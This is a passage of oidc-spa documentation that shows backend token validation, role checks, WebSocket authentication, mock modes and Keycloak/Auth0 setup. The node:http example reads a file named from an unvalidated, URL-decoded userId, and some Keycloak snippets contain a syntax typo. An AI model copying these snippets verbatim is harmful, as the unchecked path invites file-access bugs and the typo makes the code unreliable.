<strong>        await getUser({ req: c.req, requiredRole: "support-staff" });
</strong>
        const userId = c.req.param("userId");

        const json = await fs.readFile(`todos_${userId}.json`, "utf8");

        return c.text(json);

    });

    // ...

}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import { HTTPException } from "hono/http-exception";
import type { HonoRequest } from "hono";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z.object({
                roles: z.array(z.string())
            }).optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: HonoRequest;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your 
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if( !requestAuthContext ){
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        throw new HTTPException(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        throw new HTTPException(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        throw new HTTPException(401); // Unauthorized
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            throw new HTTPException(403); // Forbidden
        }
    }

    // Here you can potentially enrich the user object with additional 
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.  

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# node:http

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import { createServer } from "node:http";
import { parse } from "node:url";
import * as fs from "node:fs/promises";
<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
function startNodeServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const server = createServer(async (req, res) => {

        const { pathname } = parse(req.url!, true);

        if (req.method === "GET" &#x26;&#x26; pathname === "/api/todos") {

<strong>            const user = await getUser({ req, res });
</strong>
            const json = await fs.readFile(
<strong>                `todos_${user.id}.json`,
</strong>                "utf8"
            );

            res.writeHead(200, { "Content-Type": "application/json" });
            res.end(json);

            return;

        }

        if (
            req.method === "GET" &#x26;&#x26;
            pathname?.startsWith("/api/todos-for-support/")
        ) {

<strong>            // Will reject the request if user making the request
</strong><strong>            // doesn't have "support-staff" role
</strong><strong>            await getUser({ req, res, requiredRole: "support-staff" });
</strong>
            const userId = decodeURIComponent(
                pathname.replace("/api/todos-for-support/", "")
            );

            const json = await fs.readFile(
                `todos_${userId}.json`,
                "utf8"
            );

            res.writeHead(200, { "Content-Type": "application/json" });
            res.end(json);

            return;

        }

        res.writeHead(404).end();
    });

    server.listen(parseInt(process.env.PORT ?? "3000"), () => {
        console.log("Server running");
    });

}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import type { IncomingMessage } from "node:http";
import type { ServerResponse } from "node:http";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z.object({
                roles: z.array(z.string())
            }).optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: IncomingMessage;
    res: ServerResponse;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | never> {

    const { req, res, requiredRole } = params;

    const bail = (statusCode: 400 | 401 | 403) => {
        res.writeHead(statusCode).end();
        return new Promise<never>(() => {});
    };

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your 
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if( !requestAuthContext ){
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        return bail(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return bail(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return bail(401); // Unauthorized
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return bail(403); // Forbidden
        }
    }

    // Here you can potentially enrich the user object with additional 
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.  

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Deno.serve

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts"><strong>import { bootstrapAuth, getUser } from "./auth.ts"; // See below
</strong>
bootstrapAuth({
    implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
    issuerUri: Deno.env.get("OIDC_ISSUER_URI")!,
    expectedAudience: Deno.env.get("OIDC_AUDIENCE") ?? undefined
});

Deno.serve(async (request: Request) => {
    const url = new URL(request.url);

    if (request.method === "GET" &#x26;&#x26; url.pathname === "/api/todos") {

<strong>        const user = await getUser({ req: request });
</strong>
<strong>        // We got an exception, validation failed
</strong><strong>        if (user instanceof Response) {
</strong><strong>            const response = user;
</strong><strong>            return response;
</strong><strong>        }
</strong>
        const json = await Deno.readTextFile(
<strong>            `todos_${user.id}.json`
</strong>        );

        return new Response(json, {
            status: 200,
            headers: { "content-type": "application/json" }
        });

    }

    /**
     * Support staff endpoint.
     * Example: GET /api/todos/1234
     */
    if (request.method === "GET" &#x26;&#x26; url.pathname.startsWith("/api/todos/")) {
        let userId: string;

        try {
            userId = decodeURIComponent(url.pathname.replace("/api/todos/", ""));
        } catch {
            return new Response("bad request", { status: 400 });
        }

        if (!userId || userId.includes("/")) {
            return new Response("bad request", { status: 400 });
        }
        
        {

<strong>            // Will reject the request if user making the request
</strong><strong>            // doesn't have "support-staff" role
</strong><strong>            const user = await getUser({ req: request, requiredRole: "support-staff" });
</strong>    
<strong>            // We got an exception, validation failed
</strong><strong>            if (user instanceof Response) {
</strong><strong>                const response = user;
</strong><strong>                return response;
</strong><strong>            }
</strong>        
        }

<strong>        const json = await Deno.readTextFile(`todos_${userId}.json`);
</strong>
        return new Response(json, {
            status: 200,
            headers: { "content-type": "application/json" }
        });
    }

    return new Response("not found", { status: 404 });
});
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "npm:oidc-spa@latest/server";
import { z } from "npm:zod@latest";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z.object({
                roles: z.array(z.string())
            }).optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: Request;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | Response> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        return new Response("unauthorized", { status: 401 });
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return new Response("bad request", { status: 400 });
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return new Response("unauthorized", { status: 401 });
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return new Response("forbidden", { status: 403 });
        }
    }

    // Here you can potentially enrich the user object with additional
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Bun.serve

Woks exactly the same as Deno except it's Bun.serve instead of Deno.serve and you don't need the "npm:" prefix to import oidc-spa:

{% content-ref url="/pages/d2qm0aCjKdy6kvR8uvUR" %}
[Deno.serve](/integration-guides/backend-token-validation/deno.serve)
{% endcontent-ref %}


# Cloudflare Workers

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/worker.ts"><code class="lang-ts"><strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
type Env = {
    OIDC_ISSUER_URI: string;
    OIDC_AUDIENCE?: string;
};

let isBootstrapped = false;

function ensureBootstrapped(env: Env) {
    if (isBootstrapped) {
        return;
    }

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: env.OIDC_ISSUER_URI,
</strong><strong>        expectedAudience: env.OIDC_AUDIENCE ?? undefined
</strong><strong>    });
</strong>
    isBootstrapped = true;
}

export default {
    async fetch(request: Request, env: Env): Promise&#x3C;Response> {
        ensureBootstrapped(env);

        const url = new URL(request.url);

        if (request.method === "GET" &#x26;&#x26; url.pathname === "/api/todos") {

<strong>            const user = await getUser({ req: request });
</strong>
<strong>            // We got a Response, validation failed
</strong><strong>            if (user instanceof Response) {
</strong><strong>                return user;
</strong><strong>            }
</strong>
            // Replace this with KV / D1 / R2 / your DB call.
            const json = JSON.stringify([
                { id: "1", label: "Write documentation", ownerId: user.id }
            ]);

            return new Response(json, {
                status: 200,
                headers: { "content-type": "application/json" }
            });
        }

        /**
         * Support staff endpoint.
         * Example: GET /api/todos-for-support/1234
         */
        if (
            request.method === "GET" &#x26;&#x26;
            url.pathname.startsWith("/api/todos-for-support/")
        ) {
            let userId: string;

            try {
                userId = decodeURIComponent(
                    url.pathname.replace("/api/todos-for-support/", "")
                );
            } catch {
                return new Response("bad request", { status: 400 });
            }

            if (!userId || userId.includes("/")) {
                return new Response("bad request", { status: 400 });
            }

            {
<strong>                // Will reject the request if user making the request
</strong><strong>                // doesn't have "support-staff" role
</strong><strong>                const user = await getUser({
</strong><strong>                    req: request,
</strong><strong>                    requiredRole: "support-staff"
</strong><strong>                });
</strong>
<strong>                if (user instanceof Response) {
</strong><strong>                    return user;
</strong><strong>                }
</strong>            }

            // Replace this with KV / D1 / R2 / your DB call.
            const json = JSON.stringify([
                { id: "1", label: "Support view", ownerId: userId }
            ]);

            return new Response(json, {
                status: 200,
                headers: { "content-type": "application/json" }
            });
        }

        return new Response("not found", { status: 404 });
    }
};
</code></pre>

### Auth utilities

Let’s see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: Request;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | Response> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Cloudflare Workers are always behind a reverse proxy.
        // This affects things like the computed request origin.
        trustProxy: true
    });

    if (!requestAuthContext) {
        console.warn("Anonymous request");
        return new Response("unauthorized", { status: 401 });
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return new Response("bad request", { status: 400 });
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(requestAuthContext.accessTokenAndMetadata);

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return new Response("unauthorized", { status: 401 });
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return new Response("forbidden", { status: 403 });
        }
    }

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Vercel Edge

See (it works the same):

{% content-ref url="/pages/7iLCD0QZbmGywDt5qJd7" %}
[Cloudflare Workers](/integration-guides/backend-token-validation/cloudflare-workers)
{% endcontent-ref %}


# WebSocket

Securing a WebSocket connection

Here’s how to secure a WebSocket connection.\
We’ll review a minimal real-time chat example.\
The server simply echoes back what you send.

This is what we’re building:

{% embed url="<https://youtu.be/tEdYRUcAxFA>" %}

You can test it live here:

{% embed url="<https://vite-insee-starter.demo-domain.ovh/chat>" %}

This example uses Node.js + Hono.\
We don’t provide a framework-by-framework (or runtime-by-runtime) guide yet.\
But you should be able to adapt the same approach to your environment.

{% hint style="info" %}
Key takeaways:

* Authentication happens when handling the HTTP upgrade request.
* Browsers don’t let you attach custom headers to a WebSocket upgrade request. Use the `protocols` parameter to carry the access token, then read it server-side from `Sec-WebSocket-Protocol`.
* WebSocket upgrades are **out of scope for DPoP**. There’s no RFC-defined way to send and validate a DPoP proof on the upgrade request. In practice, you must skip DPoP proof validation for the upgrade (`rejectIfAccessTokenDPoPBound: false`). If you need DPoP-grade guarantees on the socket, add an application-level handshake (off-channel).
  {% endhint %}

### Server-side code

[Source code](https://github.com/InseeFrLab/todo-rest-api/blob/e00a8a6ed95514c6be4b210506a22b0f0acf24a0/src/main.ts#L36-L53)

<pre class="language-typescript" data-title="src/main.ts"><code class="lang-typescript">import { Hono } from "hono";
<strong>import { createNodeWebSocket } from "@hono/node-ws";
</strong>import { serve } from "@hono/node-server";
import { bootstrapAuth, getUser, getUser_ws } from "./auth"; // See below

function startHonoServer() {

    bootstrapAuth({
        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
        issuerUri: process.env.OIDC_ISSUER_URI!,
        expectedAudience: process.env.OIDC_AUDIENCE
    });

    const app = new Hono();

    app.get("/api/todos", async c => { /* ... */ });
    
<strong>    const { injectWebSocket, upgradeWebSocket } = createNodeWebSocket({ app });
</strong>
<strong>    app.get(
</strong><strong>        "/ws",
</strong><strong>        upgradeWebSocket(async c => {
</strong>
<strong>            const user = await getUser_ws({ req: c.req });
</strong>
<strong>            return {
</strong><strong>                onOpen: (_event, ws) => {
</strong><strong>                    ws.send(`Hello ${user.name}`);
</strong><strong>                },
</strong><strong>                onMessage(event, ws) {
</strong><strong>                    ws.send(`I'm not very smart, all I can do is repeat: "${event.data}"`);
</strong><strong>                }
</strong><strong>            };
</strong><strong>        })
</strong><strong>    );
</strong>    
    const server = serve({
        fetch: app.fetch,
        port
    });

<strong>    injectWebSocket(server);
</strong>
}
</code></pre>

Auth utilities:

[Source code](https://github.com/InseeFrLab/todo-rest-api/blob/e00a8a6ed95514c6be4b210506a22b0f0acf24a0/src/auth.ts#L95-L139)

{% code title="src/auth.ts" %}

```typescript
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import { HTTPException } from "hono/http-exception";
import type { HonoRequest } from "hono";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(/* ... */): Promise<User> { /* ... */ }

export async function getUser_ws(params: { req: HonoRequest }) {
    const { req } = params;

    const value = req.header("Sec-WebSocket-Protocol");

    if (value === undefined) {
        throw new HTTPException(400); // Bad Request
    }

    const accessToken = value
        .split(",")
        .map(p => p.trim())
        .map(p => {
            const match = p.match(/^authorization_bearer_(.+)$/);

            if (match === null) {
                return undefined;
            }

            return match[1];
        })
        .filter(t => t !== undefined)[0];

    if (accessToken === undefined) {
        throw new HTTPException(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken({
            scheme: "Bearer",
            accessToken,
            // NOTE: WebSocket upgrades are out of scope for DPoP.
            // There's no RFC-defined way to send and validate a DPoP proof
            // on the WebSocket Upgrade request.
            // We accept the access token as bearer-like for the WS upgrade only.
            // If you need DPoP-grade guarantees on the socket, add an app-level handshake.
            rejectIfAccessTokenDPoPBound: false
        });

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        throw new HTTPException(401); // Unauthorized
    }

    const { sub, name, email } = decodedAccessToken;

    const user: User = {
        id: sub,
        name,
        email
    };

    return user;
}
```

{% endcode %}

### Client-side code

[Source code](https://github.com/InseeFrLab/vite-insee-starter/blob/053da1b58e76a783aaa36dba1f371f2c46810c32/src/chat.ts#L28-L39)

<pre class="language-typescript" data-title=""><code class="lang-typescript">import { Evt, type StatefulReadonlyEvt } from "evt";
import { getOidc } from "~/oidc";
import { assert } from "tsafe";

export type Chat = {
    evtMessages: StatefulReadonlyEvt&#x3C;Chat.Message[]>;
    sendMessage: (message: string) => void;
};

export namespace Chat {
    export type Message = {
        origin: "client" | "server";
        message: string;
    };
}

function createChat(): Chat {
    const evtMessages = Evt.create&#x3C;Chat.Message[]>([]);

    const dSocket = Promise.withResolvers&#x3C;WebSocket>();

    (async () => {
        const oidc = await getOidc();

        assert(oidc.isUserLoggedIn);

<strong>        const url = new URL(import.meta.env.VITE_TODOS_API_URL); // ex: https://api.my-company.com
</strong>
<strong>        url.protocol = url.protocol === "https:" ? "wss:" : "ws:";
</strong>
<strong>        url.pathname += "ws";
</strong>
<strong>        const socket = new WebSocket(
</strong><strong>            url.href, // ex: wss://api.my-company.com/ws
</strong><strong>            
</strong><strong>            // NOTE: This is a common workaround to the fact that the WebSocket API
</strong><strong>            // does not allow to set custom headers to the UPGRADE request.
</strong><strong>            // So we use the protocol and on the server read the Sec-WebSocket-Protocol header.
</strong><strong>            [`authorization_bearer_${await oidc.getAccessToken()}` ]
</strong><strong>        );
</strong>
        socket.addEventListener("message", event => {
            evtMessages.state = [
                ...evtMessages.state,
                {
                    origin: "server",
                    message: event.data
                }
            ];
        });

        socket.addEventListener("error", err => {
            console.error("socket error", err);
            dSocket.reject(err);
        });

        socket.addEventListener("open", ()=> {
            dSocket.resolve(socket);
        });
    })();

    return {
        evtMessages,
        sendMessage: async message => {
            evtMessages.state = [
                ...evtMessages.state,
                {
                    origin: "client",
                    message
                }
            ];
            const socket = await dSocket.promise;
            socket.send(message);
        }
    };
}

let chat: Chat | undefined = undefined;

export function getChat() {
    if (chat === undefined) {
        chat = createChat();
    }
    return chat;
}

</code></pre>

The source of the React component that consumes `getChat` is [here](https://github.com/InseeFrLab/vite-insee-starter/blob/053da1b58e76a783aaa36dba1f371f2c46810c32/src/routes/chat.tsx#L18-L83).


# Mock Modes

{% hint style="info" %}
This is the server-side mock mode.\
If you’re looking for the frontend mock mode, see [the project example for your stack](/integration-guides/example-setups).
{% endhint %}

`oidc-spa/server` provides two modes to facilitate backend unit testing.

These modes help you run tests in a reproducible way, without fetching the public key from a real IdP.

## Static identity

In this mode, `oidc-spa/server` ignores the provided token.\
It behaves as if every request comes from a user with the identity you define.

```typescript
bootstrapAuth({
    implementation: "mock",
    behavior: "use static identity",
    decodedAccessToken_mock: {
        sub: "123",
        name: "John Doe",
        email: "john.doe@gmail.com",
        realm_access: {
            roles: ["realm-admin", "support-staff"]
        }
    }
});
```

## Decode only

{% hint style="danger" %}
WARNING: If you accidentally ship this mode to production, it’s catastrophic.\
Everything will appear to work, but an attacker can impersonate anyone.
{% endhint %}

In this mode, `oidc-spa/server` decodes the access token payload, but skips all cryptographic validation.\
This is useful if you’ve saved tokens for unit tests and want those tests to keep working long after the tokens expire.

```typescript
bootstrapAuth({
    implementation: "mock",
    behavior: "decode only",
});
```


# Provider configuration

{% content-ref url="/pages/5gpZtUHNuQnwl8hxu3YC" %}
[Keycloak](/providers-configuration/keycloak)
{% endcontent-ref %}

{% content-ref url="/pages/4lJxIBw85ly46Yw5FMsI" %}
[Auth0](/providers-configuration/auth0)
{% endcontent-ref %}

{% content-ref url="/pages/Bd5Knc63f7JKWSZO9p42" %}
[Microsoft Entra ID](/providers-configuration/microsoft-entra-id)
{% endcontent-ref %}

{% content-ref url="/pages/pgH35LSpFMSJsCaifWCU" %}
[Other OIDC Provider](/providers-configuration/other)
{% endcontent-ref %}


# Keycloak

{% embed url="<https://youtu.be/qJOHjI_QKvk>" %}
oidc-spa with Keycloak
{% endembed %}

## Getting the `issuerUri` and `clientId`

`oidc-spa` requires two parameters to connect to your Keycloak instance: `issuerUri` and `clientId`.

{% tabs %}
{% tab title="Framwork Agnostic" %}
{% code title="src/oidc.ts" %}

```typescript
createOidc({
    issuerUri: "https://auth.my-company.com/realms/myeralm",
    clientId! "myclient",
    // ...
});
```

{% endcode %}
{% endtab %}

{% tab title="React" %}
{% code title="src/oidc.ts" %}

```typescript
bootstrapOidc({
    issuerUri: "https://auth.my-company.com/realms/myeralm",
    clientId! "myclient",
    // ...
});
```

{% endcode %}
{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.config.ts" %}

```typescript
Oidc.provide({
    issuerUri: "https://auth.my-company.com/realms/myeralm",
    clientId! "myclient",
    //...
})
```

{% endcode %}
{% endtab %}
{% endtabs %}

### `issuerUri`

In Keycloak, the OIDC issuer URI follows this format:

**https\://**<mark style="color:blue;">**\<KC\_DOMAIN>**</mark><mark style="color:purple;">**\<KC\_RELATIVE\_PATH>**</mark>**/realms/**<mark style="color:green;">**\<REALM\_NAME>**</mark>

* <mark style="color:blue;">**\<KC\_DOMAIN>**</mark>: The domain where your Keycloak server is hosted (e.g., **auth.my-company.com**).
* <mark style="color:purple;">**\<KC\_RELATIVE\_PATH>**</mark>: The subpath under which Keycloak is hosted. In recent versions, this is an empty string (`""`). In older versions, it was `"/auth"`.\
  Check your Keycloak server configuration; this parameter is typically set using an environment variable:\
  Example: `-e KC_HTTP_RELATIVE_PATH=/auth`
* <mark style="color:green;">**\<REALM\_NAME>**</mark>: The name of your realm (e.g., **myrealm**).\
  🔹 **Important:** Always create a dedicated realm for your organization, **never use the master realm**.\
  To create a new realm:
  1. Open **https\://**<mark style="color:blue;">**\<KC\_DOMAIN>**</mark><mark style="color:purple;">**\<KC\_RELATIVE\_PATH>**</mark>**/admin/master/console**.
  2. Log in as an administrator.
  3. Click on the realm selector in the top-left corner.
  4. Click **"Create a new Realm"**, give it <mark style="color:green;">a name</mark>, and save.

### `clientId`

The `clientId` is usually something like '<mark style="color:yellow;">myapp</mark>'. Follow these steps to create a client for your app:

1. Open **https\://**<mark style="color:blue;">**\<KC\_DOMAIN>**</mark><mark style="color:purple;">**\<KC\_RELATIVE\_PATH>**</mark>**/admin/master/console**.
2. Log in as an administrator.
3. Select <mark style="color:green;">your realm</mark> from the top-left dropdown.
4. In the left panel, click **Clients**.
5. Click **Create Client**.
6. Enter a **Client ID**, for example, <mark style="color:yellow;">myapp</mark>, and click **Next**.
7. Ensure **Client Authentication** is **off**, and **Standard Flow** is enabled. Click **Next**.
8. Set two **Valid Redirect URIs,** ensure both URLs end with `/`:
   * **https\://**<mark style="color:orange;">**\<APP\_DOMAIN>**</mark><mark style="color:red;">**\<BASE\_URL>**</mark>
   * **<http://localhost:\\>\<DEV\_PORT>**<mark style="color:red;">**\<BASE\_URL>**</mark>
   * **Parameters:**
     * <mark style="color:orange;">**\<APP\_DOMAIN>**</mark>: Examples: **<https://my-company.com>** or **<https://app.my-company.com**.\\>
       🔹 For beter performances ensure <mark style="color:orange;">**\<APP\_DOMAIN>**</mark> and <mark style="color:blue;">**\<KC\_DOMAIN>\*\*</mark> share the same root domain (**my-company.com**). See [end of third party cookies](/resources/end-of-third-party-cookies).
     * <mark style="color:red;">**\<BASE\_URL>**</mark>: Examples: **"/"** or **"/dashboard/"**.
     * **\<DEV\_PORT>**: Example: **5173** (default for Vite's dev server, adapt to your setup).
9. Click **Save**, and you're done! 🎉

***

## Session Lifespan Configuration

One important policy to define is how often users need to re-authenticate when visiting your site.

{% hint style="info" %}
This configuration does **not** affect the **access token lifetime** (default: 5 minutes). It controls how long Keycloak keeps **the session active**.
{% endhint %}

### 🔐 Security-Sensitive Apps (Banking, Admin Panels, etc.)

For security-critical apps, users should log in **each visit** and be **logged out** [**after inactivity**](#user-content-fn-1)[^1].

**Why?**\
Users accessing sensitive applications should not remain authenticated indefinitely, especially if they step away from their device. The session idle timeout ensures automatic logout after inactivity.

**Steps to enforce this policy:**

1. **Disable "Remember Me"**:
   * Select <mark style="color:green;">your realm</mark>.
   * Navigate to **Realm Settings** → **Login**.
   * Set **"Remember Me"** to **Off**.
2. **Configure session timeout**:
   * Go to **Realm Settings** → **Sessions**.
   * Set **SSO Session idle**: `5 minutes` (ensures users are logged out after 5 minutes of inactivity).
   * Set **SSO Session max idle**: `14 days` (ensures users who actively use the app don’t get logged out unnecessarily).
3. Optionally, display a logout countdown before automatic logout:

{% content-ref url="/pages/tpyBmXI4q9q1dCCuf6ZY" %}
[Auto Logout](/features/auto-logout)
{% endcontent-ref %}

***

### 🛍️ Non-Sensitive Apps (E-commerce, Social Media, etc.)

For apps where users should remain logged in for **weeks or months** (e.g., YouTube-style behavior):

1. **Enable "Remember Me"**:
   * Select <mark style="color:green;">your realm</mark>.
   * Navigate to **Realm Settings** → **Login**.
   * Set **"Remember Me"** to **On**.
2. **Configure session timeout**:
   * Users **without** "Remember Me" will need to log in **every 2 weeks**:
     * Set **Session idle timeout**: `14 days`.
     * Set **Session max idle timeout**: `14 days`.
   * Users **who checked "Remember Me"** should stay logged in for **1 year**:
     * Set **Session idle timeout (Remember Me)**: `365 days`.
     * Set **Session max idle timeout (Remember Me)**: `365 days`.

***

## 🗑️ Allowing Users to Delete Their Own Accounts

By default, Keycloak **does not** allow users to delete their accounts.

If you implement a [delete account button](/features/user-account-management), users will see an **"Action not permitted"** error.

Enabling Account Deletion:

1. Navigate to **Authentication** → **Required Actions**.
2. Enable **"Delete Account"**.
3. Go to **Realm Settings** → **User Registration** → **Default Roles**.
4. Click **Assign Role**, filter by **client**, select **Delete Account**, and assign it.

[^1]: The user is considered inactive by oidc-spa when it's not actively moving the mouse, touching the screen or typing on the keyboard in any tab of your app.\
    \
    (More precisely, on any tab of any app that use the same SSO session)


# Auth0

{% embed url="<https://www.youtube.com/embed/zPikliLzC84?si=_bIUM5lxNwDIZ3eR>" %}

## Configuring a Custom Domain

First step is to configure a custom Domain.

1. Navigate to the [Auth0 Dashboard](https://manage.auth0.com/dashboard).
2. Click **Settings** in the left panel.
3. Open the **Custom Domain** tab.
4. Configure a custom domain (e.g., `auth.my-company.com`). Make sure it's a sub domain of where your app will be deployed.
5. Copy this (`auth.my-company.com`) it is your `issuerUri`.

<figure><img src="/files/y7rcPEyr6R2kmmswtUq3" alt=""><figcaption><p>In this screenshot we used auth0.oidc-spa.dev (instead of auth.my-company.com)</p></figcaption></figure>

## Declaring Your Application

1. Navigate to [Auth0 Dashboard](https://manage.auth0.com/dashboard).
2. In the left panel, go to **Applications → Applications**.
3. Click **Create Application**.
4. Select **Single Page Application** as the application type.
5. Scroll to the Application URIs section. Set two **Allowed Callback URLs**:
   * `https://my-app.my-company.com/` (include trailing slash; adjust if hosted under a subpath, e.g., `https://my-company.com/my-app/`)
   * `http://localhost:5173/` (include trailing slash; adjust based on your dev server)
